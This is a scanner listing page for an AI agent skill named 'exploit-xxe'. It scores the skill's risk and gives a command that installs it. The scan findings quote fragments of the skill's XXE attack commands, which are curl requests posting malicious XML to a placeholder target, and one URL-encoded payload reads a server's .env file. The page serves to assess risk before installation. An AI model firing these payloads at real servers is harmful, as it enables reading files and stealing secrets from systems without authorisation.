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exploit-xxe
72 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.
By BitterSecurity/Decepticon (GitHub) · coding · 6,581 stars · scanned at commit bdb1016
XML External Entity (XXE) injection — local file reading via XML parsers, SOAP/WSDL API exploitation, blind out-of-band exfiltration, SVG/DOCX/XLSX upload XXE. Use for any challenge involving XML processing, SOAP endpoints, WSDL services, or XML-based file upload parsing.
Works with any agent that supports SKILL.md skills.
What this skill can do
Connects to the internet
This is disclosed by the author in the skill's SKILL.md or README.
Found in 17 places.
Show 14 more
- packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md, line 24
curl -s 'http://<TARGET>/ws?wsdl' - packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md, line 25
curl -s 'http://<TARGET>/service?wsdl' - packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md, line 26
curl -s 'http://<TARGET>/soap' - packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md, line 29
curl -s 'http://<TARGET>/' | grep -i 'xml\|upload\|import\|parse' - packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md, line 35
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0" encoding="UTF-8"?> - packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md, line 44
echo "=== $f ===" && curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' \ - packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md, line 49
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?> - packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md, line 59
curl -s 'http://<TARGET>/ws' -H 'Content-Type: text/xml' -d '<?xml version="1.0"?> - packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md, line 70
curl -s 'http://<TARGET>/ws' -H 'Content-Type: text/xml' -d '<?xml version="1.0"?> - packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md, line 95
curl -s 'http://<TARGET>/upload' -F 'file=@xxe.svg' - packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md, line 102
curl -s 'http://<TARGET>/upload' -F 'file=@xxe.xlsx' - packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md, line 119
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?> - packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md, line 132
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?> - packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md, line 137
curl -s 'http://<TARGET>/api' -d 'xml=%3C%3Fxml%20version%3D%221.0%22%3F%3E%3C!DOCTYPE%20foo%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2F.env%22%3E%5D%3
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 6 places.
Show 3 more
Reads your saved credentials, such as SSH keys or .env files
The author does not mention this.
Found in 1 place.
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'exploit-xxe' ] || [ -L ~/.agents/skills/'exploit-xxe' ]; then echo 'A skill folder named exploit-xxe already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/BitterSecurity/Decepticon' "$d" && git -C "$d" checkout --quiet 'bdb1016c93ed687f61ac57481da298c25a47c8f5' -- 'packages/decepticon/decepticon/skills/standard/exploit/web/xxe' && mkdir -p ~/.agents/skills && cp -R "$d"/'packages/decepticon/decepticon/skills/standard/exploit/web/xxe' ~/.agents/skills/'exploit-xxe' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'exploit-xxe' ~/.claude/skills/'exploit-xxe' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for BitterSecurity/Decepticon shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/BitterSecurity/Decepticon/)
Score history
| Date | Version | Score |
|---|
| 2026-11-11 | bdb1016 | 72 |
| 2026-11-08 | df87955 | 72 |